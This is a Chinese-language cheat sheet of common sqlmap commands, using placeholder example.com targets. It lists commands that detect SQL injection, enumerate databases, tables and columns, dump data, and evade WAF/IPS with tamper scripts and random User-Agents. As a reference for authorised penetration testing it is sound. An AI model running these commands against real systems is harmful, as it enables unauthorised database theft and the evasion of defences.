sqlmap常用命令
- 自动检测和利用 SQL 注入:
sudo sqlmap -u "http://example.com/vuln.php?id=1" # GET
sudo sqlmap -u "http://example.com/login.php" --forms # POST
- 指定 HTTP 请求方法:
sqlmap -u "http://example.com/login.php" --data="post数据" # 指定 HTTP POST 数据
sqlmap -u "http://example.com/login.php" --method=GET # 明确指定 HTTP 请求方法,如 GET、POST、PUT 等
- 指定参数:
sqlmap -u "http://example.com/login.php" -p 参数名 # 指定要测试的参数
sqlmap -u "http://example.com/login.php" --dbms=数据库类型 # 明确指定数据库类型,如 MySQL、Oracle、PostgreSQL 等
- 指定级别和风险:
sqlmap -u "http://example.com/login.php" --level=等级 # 设置测试等级(1-5),等级越高检测越全面
sqlmap -u "http://example.com/login.php" --risk=风险 # 设置测试风险(1-3),风险越高可能的攻击尝试越危险
- 获取数据库信息:
sqlmap -u "http://example.com/login.php" --dbs # 列出所有数据库
sqlmap -u "http://example.com/login.php" -D 数据库名 --tables # 列出特定数据库的所有表
sqlmap -u "http://example.com/login.php" -D 数据库名 -T 表名 --columns # 列出特定表的所有列
sqlmap -u "http://example.com/login.php" -D 数据库名 -T 表名 -C 列名 --dump # 提取特定列的数据
- 绕过 WAF/IPS:
sqlmap -u "http://example.com/login.php" --tamper=脚本名 # 使用绕过脚本,如 space2comment
sqlmap -u "http://example.com/login.php" --random-agent # 使用随机的 User-Agent
- 其他有用的选项:
--proxy=http://127.0.0.1:8080 # 使用代理服务器
--threads=数量 # 指定用于请求的线程数
--time-sec=秒数 # 指定基于时间的盲注的延迟时间
--dump-format=格式 # 指定提取数据的格式(CSV、HTML、SQLITE 等)
- 使用示例:
# 检测目标 URL 中的 SQL 注入,并列出所有数据库
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
# 使用 POST 方法测试注入,并获取特定数据库的表名
sqlmap -u "http://example.com/vuln.php" --data="id=1" -p id --tables -D example_db
# 绕过 WAF,使用随机 User-Agent 和指定的绕过脚本
sqlmap -u "http://example.com/vuln.php?id=1" --tamper=space2comment --random-agent
```